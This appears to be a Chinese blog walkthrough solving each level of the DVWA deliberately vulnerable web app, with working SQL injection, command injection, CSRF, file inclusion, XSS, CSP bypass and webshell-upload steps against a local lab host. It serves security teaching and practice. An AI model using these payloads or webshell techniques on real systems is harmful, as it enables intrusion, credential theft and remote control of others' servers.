1.暴力破解 brute force

low

  1. 使用bp抓包,分别在username和password处添加变量,使用集束炸弹(cluster bomb)模式,添加字典进行爆破

可以手工SQL注入(万能密码),在用户名框中输入admin’ or ‘1’='1,任意输入密码即可登陆(同时在弱口令字典里也有该语句)

Medium

和low相比,过滤了一些转义字符,但依旧可以使用bp爆破方法同low

High

随意输入用户名密码,抓个包可以看到,携带了token

所以可以使用草叉模式带着这个token去爆破

首先抓一个登陆的包,然后发送到intruder模块,选择草叉模式,为password和token添加变量

然后在第一个payload导入本地字典

然后设置token

回到payload,选择第二个爆破点,选择递归模式,recursive grep,设置初始值

然后开始爆破,看到密码为password。

impossible

登陆三次失败,锁定15min,没辙.

2.command injection命令注入

low

  1. 输入以下命令都可以执行

;被过滤,以下分隔符都可以

medium

  1. 可以看到过滤了&&和; 所以依旧可以使用 127.0.0. || ipconfig执行命令

high

过滤了全部管道符,可以使用 127.0.0 || ipconfig ,前面命令执行失败执行后面的

方法还有很多

impossible

设置了token,检查输入是否为数字,无漏洞

3.CSRF跨站请求伪造

low

  1. 先输入一个不一致的密码,观察页面变化
  1. 可以看到url为: http://192.168.10.5/DVWA/vulnerabilities/csrf/?password_new=123&password_conf=234&Change=Change#

此时我们可以构造一个: http://192.168.10.5/DVWA/vulnerabilities/csrf/?password_new=666666&password_conf=666666&Change=Change#

  1. 用新页面打开url,发现密码一键被修改

medium

  1. 按照刚才的方式修改,发现执行不了,检查了请求头
  1. 首先抓一个包,可以看到这里有referer
  1. 复制刚才构造好的url,在新页面打开: http://192.168.10.5/DVWA/vulnerabilities/csrf/?password_new=666666&password_conf=666666&Change=Change#

抓包,发现没有referer

我们自己在这里加一个referer,随意添加,包含本机就可以例如:127.0.0.1

放包,发现已经成功修改

high

可以看到,设置了token

这里我们采用抓包,把包发到重放模块,在row中可以看到新的token

接下来使用获取到的新token构造链接

http://192.168.10.5/DVWA/vulnerabilities/csrf/?password_new=666666&password_conf=666666&Change=Change&user_token=9c36edfc71b135e726adce6603be8651#

修改成功

impossible

要求输入原始密码,攻击者在不知道原始密码的情况下,无论如何都不能执行

4.Fileinclusion 文件包含

low

每次点击都会跳转,所以可以在page=后面添加本地文件路径

medium

可以通过ip+路径包含文件

high

源码限制了page之后的参数是以file开头,所以可以用file函数去构建

http://192.168.10.5/DVWA/vulnerabilities/fi/?page=file://E:\phpStudy\WWW\DVWA\file555.txt

impossible

设置了白名单,没办法了

5.File upload文件上传

low

可以看到,没有任何限制,所以直接上传一个php后门文件即可

后门文件如下:

随后使用webshell,蚁剑哥斯拉都可以,冰蝎不可以,因为冰蝎是自己的一套加密算法,这里以蚁剑为例示范一下:

1.点开蚁剑后,首先单击空白处,然后点击添加数据

url输入后门的路径,默认使这个: http://192.168.10.5/DVWA/hackable/uploads/888.php

密码就是刚才后门的密码:post,然后点击保存

然后右击添加上的数据

例如打开虚拟终端,可以执行执行命令,实现远控

Medium

可以看到,靶场对文件类型做了限制,只允许上传png、jpeg,并且检查

此时我们可以把一句话木马改为png后缀

然后使用bp抓包,将文件后缀改成php

然后放包 ,可以看到,后门文件已经成功上传上去

使用webshell连接同上

High

看源代码可以发现,不仅限制了文件类型,而且限制了大小,不能少于100kb

可以上传一个图片马,打开cmd,输入以下命令:copy post2.php/a + 111.png/b 66.png

此时已经上传成功,但不能利用

在命令注入中输入127.0.0.1|| ren C:\phpstudy_pro\WWW\DVWA-master\hackable\uploads\888.png 888.php

此时发现,888.png已经被改名为888.php

impossible

可以看到,Impossible级别的代码对上传文件进行了重命名(为md5值,导致%00截断无法绕过过滤规则),加入Anti-CSRF token防护CSRF攻击,同时对文件的内容作了严格的检查,导致攻击者无法上传含有恶意脚本的文件。

6.insecure captcha不安全的验证

low

本关是在第二步做验证,所以把step改为2就可以绕过验证

medium

依旧抓包改包

high

让通过验证的情况增加了一种。原先是只有验证码为真才能通过验证,现在新增“或者g-recaptcha-response且HTTP_USER_AGENT为特定内容”通过验证。

那直接用Burpsuite修改数据包

impossible

可以看到需要输入原始密码,攻击者在不知道原始密码的情况下,永远不可能攻击成功

7.SQL injection sql注入

low

  1. 输入1+2,可以看到,并未输出3,所以可以判定是字符型注入
  1. 输入如下payload:‘1 or 1=1’ ,可以看到有报错,所以一定存在sql注入
  1. 使用order by判断字段数 1’ order by 2 #

1’ order by 3 #

由此判断,他只有两个字段

  1. 然后使用联合查询 1’ union select 1,2 # 获取回显位置
  1. 在对应位置获取数据库名 1’ union select database(),2 #
  1. 获取数据库所有表名 1’ union select group_concat(table_name),2 from information_schema.tables where table_schema=database() #
  1. 获取users字段名

1’ union select group_concat(column_name),2 from information_schema.columns where table_name=‘users’ and table_schema=database() #

  1. 获取字段值

1’ union select password,user from users #

  1. 现在已经拿到了用户和密码,但密码是加密的,可使用md5自行解密 md5在线解密破解,md5解密加密

Medium

  1. 先选中1,抓一个包,然后发到重放模块,用于测试,可以修改参数,数字型注入

id修改为1+1,出现报错

  1. 使用order by判断字段数

  1. 输入联合查询语句

剩余步骤同上

high

1.输入1’,发现报错

2.输入联合查询语句

3.按上述步骤进行查询

impossible

限制只能为数字 不存在注入

8.SQL injection(blind)盲注

low

  1. 输入 1’ and 1=1 # 可以看到 正常执行
  1. 猜解开数据库长度1’ and length(database())=x #

5

  1. 用aascii猜解数据库名 1’ and ascii(substr(database(),1,1))=100 # 由此确定,第一位ascii是100,对比ascii表( ASCII码对照表-完整ASCII码表-我就查查询 )可得 为d

后面的同理

  1. 获取表名,先判断有多少个表 1’ and (select count(table_name) from information_schema.tables where table_schema=database())=2 #
  1. 和普通sql注入相同,依次查询库名表名字段名

Medium

  1. 随意选择一个数,然后抓包
  1. 修改参数 1 and length(database())=4 #,根据布尔 盲注判断,,数据库名为4
  1. 下面依旧使用sql语句进行查询,步骤同上

high

  1. 1’ and 1=1 # 测试,发现成功执行
  1. 盲注,测试数据库名长度 1’ and length(database())=4 #
  1. 接下来的步骤同上

impossible

只能使用数字,且设置了token,无漏洞

9.WeakSessionIDS会话劫持

low

使用这个session,到别的浏览器,直接修改session即可实现无密码登陆

medium

使用了时间戳

时间戳在线转换工具(Unix timestamp) - 记灵工具

同样构造id,实现登录

high

使用了md5加密

md5在线解密破解,md5解密加密

同样构造id,实现登录

impossible

<?php
 
$html = "";
 
if ($_SERVER['REQUEST_METHOD'] == "POST") {
//随机数+时间戳+固定字符串"Impossible",再进行sha1运算
    $cookie_value = sha1(mt_rand() . time() . "Impossible");
    setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], true, true);
}
?>

使用随机session id作为起始值

10.XSS(DOM)

low

随便选择一个,url会有回显,在此处修改

medium

f12可以看到,输入的值在这里

所以需要闭合标签,<img src=1 οnerrοr=alert(1)>

high

French#

使用锚部分弹窗

impossible

这还说啥

11.XSS(reflected)反射

low

直接插框进行测试

medium

过滤了

high

使用<img src=1 οnerrοr=alert(1);>测试

impossible

预定义的字符&、”、 ’、<、>转换为HTML实体

12.XSS(stored)存储型

low

在留言框输入

medium

在name处使用大小写绕过

在此之前,需要先修改前端啊代码,将限制改为100

high

使用<img src=1 οnerrοr=alert(1)>

impossible

设置了token,并且对所有参数都做了严格过滤

13.CSP bypass

low

  1. 查看网络,可以看到有一个信任网站
  1. 可以看出页面里包含

https://pastebin.com/raw/zSLDySJn

在平台上输入这个URL,点击Include,结果如下:

medium

可以发现这里有一个写script的凭证,只要有这个东西就可以执行

构造payload

high

构造payload

Include=<script src=”/source/jsonp.php?callback=alert(‘hello 111’);”>

impossible

14.Javascript js攻击

low

success加密后的值

抓一个包,修改token,即可成功

medium

使用Bp抓一下Submit之后的数据包,结果如下:

可以看到,当Phrase为ChangeMe,token为XXeMegnahC。

所以只要向后台发送的内容与success有关,就能获得想要的结果。

修改数据包如下:

点击放包,返回结果如下:

high

这里将js代码编辑后在线执行一下,得出token值:

ec7ef8687050b6fe803867ea696734c67b541dfafb286a0b1239f42ac5b0aa84

用Bp抓包,把token的修改为:

ec7ef8687050b6fe803867ea696734c67b541dfafb286a0b1239f42ac5b0aa84

impossible

Logo

AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。

更多推荐